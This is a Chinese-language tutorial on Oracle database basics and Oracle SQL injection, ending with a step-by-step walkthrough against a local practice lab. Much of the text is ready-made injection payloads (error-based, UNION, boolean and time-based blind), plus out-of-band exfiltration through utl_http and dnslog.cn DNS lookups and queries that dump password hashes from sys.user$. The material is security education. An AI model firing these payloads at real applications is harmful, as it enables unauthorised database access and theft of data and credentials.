基本概念
表空间定义
数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间
SYSTEM
用于是存储系统表和管理配置等基本信息
复制SYSAUX
类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
复制UNDOTBS
用于事务回退等
复制TEMP
作为缓存空间减少内存负担
复制USERS
存储我们定义的表和数据
复制
Oracle中每个表空间中均存在一张dual表,这个表是虚表,并没有实际的存储意义,它永远只存储一条数据。
因为Oracle的SQL语法要求select后必须跟上from,所以通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位,如
select 1+1 from dual;复制
权限与用户管理
Oracle 中划分了许多用户权限,权限的集合称为角色。如:
CONNECT 角色具有连接到数据库权限
RESOURCE 能进行基本的增删改查
DBA 集合了所有的用户权限用户
创建数据库时,会默认启用 sys、system 等用户:
sys
相当于Linux下的root,为 DBA 角色
复制system
相对于 sys 用户,无法修改一些关键的系统数据(维持着数据库的正常运行),也为 DBA 角色
复制public
public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)
复制
一些术语
操作系统环境变量(ORACLE_SID)
instance_name(“数据库实例名”)是Oracle的数据库参数,而oracle_sid则是操作系统的环境变量,用户和操作系统交互,也就是说要得到实例名,必须使用sid。在数据库安装结束时 ,oracle_sid已经是一个确定的字符串了,其值必须与数据库实例名相同。
数据库实例名(INSTANCE_NAME)
实例名用于和操作系统关联,在操作系统中要取得与数据库之间的交互必须使用数据库实例名。(实例简单来说就类似于内存和一些后台进程。)数据库名一般与实例名是一一对应的。
数据库名(DB_NAME )
用于区分一个数据的内部标示,即Oracle数据库的内部表示。是以二进制方式存储于数据库的控制文件的参数。在数据库安装或创建之后不得修改。
启动/关闭oracle监听器
# 启动oracle监听器
lsnrctl start
# 关闭oracle监听器
lsnrctl stop
# 重启oracle监听器
lsnrctl reload
# lsnrctl hep命令可以显示所有可用的监听器命令复制
命令行操作
工具
sqlplus
登录
# 普通用户
sqlplus scott/don9sec;
# 超级管理员
sqlplus sys/sys as sysdba;
# 两者之间切换
SQL>conn scott/don9sec;复制
超级管理员
普通用户
查看当前用户
show user复制
查看当前用户的权限
select * from session_privs;复制
查看当前用户有权限的所有数据库
select distinct owner, table_name from all_tables;复制
查看属于当前用户的表
select * from tab;复制
查看所有用户
select * from dba_users;
select * from all_users;
select * from user_users;复制
查看所有用户密码哈希值
# 适用于<=10g
select name, password, astatus from sys.user$;
# 适用于11g
select name, password, spare4 from sys.user$;复制
查看用户或角色系统权限
直接赋值给用户或角色的系统权限
select * from dba_sys_privs;
select * from user_sys_privs;复制
查看角色所包含的权限
注:只能查看登陆用户拥有的角色
select * from role_sys_privs;复制
查看用户对象权限
select * from dba_tab_privs;
select * from all_tab_privs;
select * from user_tab_privs;复制
查看所有角色
select * from dba_roles;复制
查看用户或角色所拥有的角色
select * from dba_role_privs;
select * from user_role_privs;复制
查看哪些用户有sysdba或sysoper系统权限
注:查询时需要相应权限
select * from V$PWFILE_USERS;复制
查看当前数据库
select name from v$database;复制
查看表的数据
select * from TEST;复制
查看字段名
# 所有字段
select column_name from all_tab_columns;
# 指定表名
select column_name from all_tab_columns where table_name='TEST';复制
查看属于其他用户表的数据
只用超级管理员有这个权限
conn sys/sys as sysdba;
select * from soctt.test;复制
查看表的结构
desc test;复制
查看实例名称(sid)
conn as sysdba
select instance_name from v$instance;
select name from V$database;复制
查看数据库版本信息
select * from v$version;复制
查看操作系统版本信息
SELECT dbms_utility.port_string FROM dual;复制
查看操作系统CPU信息
SELECT * FROM v$osstat;复制
查看主机ip地址
SELECT utl_inaddr.get_host_address FROM dual;复制
查看主机名
SELECT utl_inaddr.get_host_name FROM dual;复制
图形化操作
工具
Oracle SQL Developer
详细操作教程见:
Oracle SQL Developer 入门
SQL注入
自动化-sqlmap
注入类型
blind(盲注)
boolean-based (布尔盲注)
time-based blind(时间盲注)
error-based(报错注入)
UNION query(联合查询)
联合查询
order by 猜字段数量,union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型。
报错注入
utl_inaddr.get_host_name
select utl_inaddr.get_host_name((select user from dual)) from dual;复制
utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数,所以在这里成功执行了select user from dual
.
ctxsys.drithsx.sn
Oracle 中用于处理文本,当传入参数类型错误时,会返回异常。
select ctxsys.drithsx.sn(1, (select user from dual)) from dual;复制
CTXSYS.CTX_REPORT.TOKEN_TYPE
select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;复制
XMLType
XMLType 在调用的时候必须以
<:
开头,>
结尾,即'<:'||balabala||'>'
或者chr(60)||balabal||chr(62)
。另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。
select XMLType('<:'||(select user from dual)||'>') from dual;复制
dbms_xdb_version.checkin
select dbms_xb_version.checkin((select user from dual)) from dual;复制
dbms_xdb_version.makeversioned
select dbms_xdb_version.makeversioned((select user from dual)) from dual;复制
dbms_xdb_version.uncheckout
select dbms_xdb_version.uncheckout((select user from dual)) from dual;复制
dbms_utility.sqlid_to_sqlhash
SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;复制
ordsys.ord_dicom.getmappingxpath
select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;复制
UTL_INADDR.get_host_name
select UTL_INADDR.get_host_name((select user from dual)) from dual;复制
UTL_INADDR.get_host_address
select UTL_INADDR.get_host_address((select user from dual)) from dual;复制
布尔盲注
构造不同条件,通过返回页面/响应码的不同进行注入。
substr() 字符串比较
substr() + decode()
case + substr() + ascii()
case + instr() + chr()
简单的字符串比较
# 查询user的首字母是否为S
select substr(user, 1, 1) from dual;复制
?id=1' and (select substr(user, 1, 1) from dual)='S' --复制
decode()配合除数为0来进行
?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --复制
时间盲注
基于服务器返回所用的时间,判断函数是否执行,从而判断是否存在注入。
Decode()+DBMS_PIPE.RECEIVE_MESSAGE() + chr() + substr()
select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;复制
带外盲注
http 请求
条件:http出网,有足够权限
utl_http.request
select utl_http.request('http://192.168.124.1/?result='||(select user from dual)) from dual;复制
dns解析
条件:dns出网,有足够权限
select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual;
复制SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;
复制SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;
复制HTTPURITYPE
SYS.DBMS_LDAP.INIT
utl_inaddr.get_host_address
靶场练习
启动环境
浏览器访问
http://192.168.129.129:8080/oracleSQLi.jsp复制
报错注入
判断是否存在漏洞
添个单引号'
,报错:
id=1'复制
获取数据库名
select global_name from global_name; # 当前数据库
select sys.database_name from dual; # 当前数据库
select name from v$database; # 当前数据库(权限)
select instance_name from v$instance; # 当前数据库(权限)
?id=ctxsys.drithsx.sn(1,(select%20global_name%20from%20global_name))--复制
获取表名
?id=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))--复制
得到表:DEPT。
获取字段名
获取DEPT表中的字段名:
DEPTNO
?id=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='DEPT' and rownum=1))--复制
DNAME
?id=ctxsys.drithsx.sn(1,(select%20column_name%20from%20user_tab_columns%20where%20table_name%3d%27DEPT%27%20and%20column_name%3C%3E%27DEPTNO%27and%20rownum%3d1))--复制
LOC
?id=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='DEPT' and column_name<>'DEPTNO' and column_name<>'DNAME' and rownum=1))--复制
得到3个字段:
DEPTNO
DNAME
LOC
获取字段数据
获取表中的字段数据:
DEPTNO
ctxsys.drithsx.sn(1,(select DEPTNO from DEPT where rownum=1))--复制
获取用户名
select user from dual; # 当前用户
select username from user_users; # 当前用户
select username from all_users; # 全部用户(当前用户权限范围)
select username from dba_users; # 全部用户(DBA权限)
?id=ctxsys.drithsx.sn(1,(select%20user%20from%20dual))--复制
?id=ctxsys.drithsx.sn(1,(select%20SYS_CONTEXT%20('USERENV',%20'CURRENT_USER')from%20dual))--复制
获取本机IP地址
?id=ctxsys.drithsx.sn(1,(select%20utl_inaddr.get_host_address%20from%20dual))--复制
获取服务器出口ip地址
?id=ctxsys.drithsx.sn(1,(select%20utl_inaddr.get_host_address('dnslog.cn')%20from%20dual))--复制
获取主机名
?id=ctxsys.drithsx.sn(1,(SELECT%20utl_inaddr.get_host_name%20FROM%20dual))--复制
根据IP地址反向解析主机名
?id=ctxsys.drithsx.sn(1,(select%20utl_inaddr.get_host_name('192.168.129.129')%20from%20dual))--复制
获取数据库系统信息(Oracle)
?id=ctxsys.drithsx.sn(1,(select%20banner%20from%20v$version%20where%20rownum%3d1))--复制
联合注入
判断注入点类型
?id=1'复制
字符型。
获取字段数(order by)
ORDER BY 1--
ORDER BY 2--
ORDER BY n--
# 正常回显
?id=1 order by 8--复制
# 异常回显
?id=1 order by 9--复制
得到字段数为8。
确定字段的类型
注:
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
添加 ' ', 回显正常,则为字符型
添加 ' ', 回显异常,则为数字型
?id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL--复制
?id=1 UNION ALL SELECT NULL,NULL,'NULL',NULL,NULL,NULL,NULL,NULL FROM DUAL--复制
?id=1 UNION ALL SELECT NULL,NULL,'NULL','NULL',NULL,NULL,NULL,NULL FROM DUAL--复制
得到
字段1,2为字符型
字段0,3,4,5,6,7为数字型
注:
4列似乎既不是符型也不是数字型复制
确定回显位
?id=1 UNION ALL SELECT 0,'aaa','bbb',3,NULL,5,6,7%20FROM%20DUAL--复制
得到回显为0,1列。
获取数据库名
?id=1 UNION ALL SELECT 0,(SELECT name FROM v$database),'null',3,NULL,5,6,7 FROM DUAL--复制
获取数据库版本信息
?id=1 UNION ALL SELECT 0,(select banner from sys.v_$version where rownum=1),'null',3,NULL,5,6,7 FROM DUAL--复制
获取表名
?id=1 UNION ALL SELECT 0,(select table_name from user_tables where rownum=1),'null',3,NULL,5,6,7 FROM DUAL--复制
获取字段名
?id=1 UNION ALL SELECT 0,(select column_name from user_tab_columns where table_name='DEPT' and rownum=1),'null',3,NULL,5,6,7 FROM DUAL--复制
获取数据(字段值)
1 UNION ALL SELECT (select DEPTNO from DEPT where rownum=1),'aaa','bbb',3,NULL,5,6,7%20FROM%20DUAL--复制
获取用户名
?id=1 UNION ALL SELECT 0,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),'null',3,NULL,5,6,7 FROM DUAL--复制
获取服务器操作系统信息
?id=1 UNION ALL SELECT 0,(select member from v$logfile where rownum=1),'null',3,NULL,5,6,7 FROM DUAL--复制
获取启动Oracle的用户名
?id=1 UNION ALL SELECT 0,(select SYS_CONTEXT ('USERENV','OS_USER') from dual),'null',3,NULL,5,6,7 FROM DUAL--复制
时间盲注
判断漏洞是否存在
# 延迟1秒
?id=1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE('x',1))--
# 延迟5秒
?id=1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE('x',5))--复制
获取当前用户名(手工爆破)
已知用户名:scott
当用户名首位为S时,将延迟5秒
?id=1 and 1=(select decode(substr(user,1,1),'S',DBMS_PIPE.RECEIVE_MESSAGE('x',5) ,5) from dual)--复制
当用户名第2位为C时,将延迟5秒
?id=1 and 1=(select decode(substr(user,2,1),'C',DBMS_PIPE.RECEIVE_MESSAGE('x',5) ,5) from dual)--复制
根据该思路写个爆破脚本即可。
公众号后台回复:oracle_jsp 获取靶机环境及pdf版下载链接
参考:
https://www.jianshu.com/p/a416ca0fbe8a
https://blog.csdn.net/weixin_41547486/article/details/80392854
https://www.tr0y.wang/2019/04/16/Oracle注入指北/index.html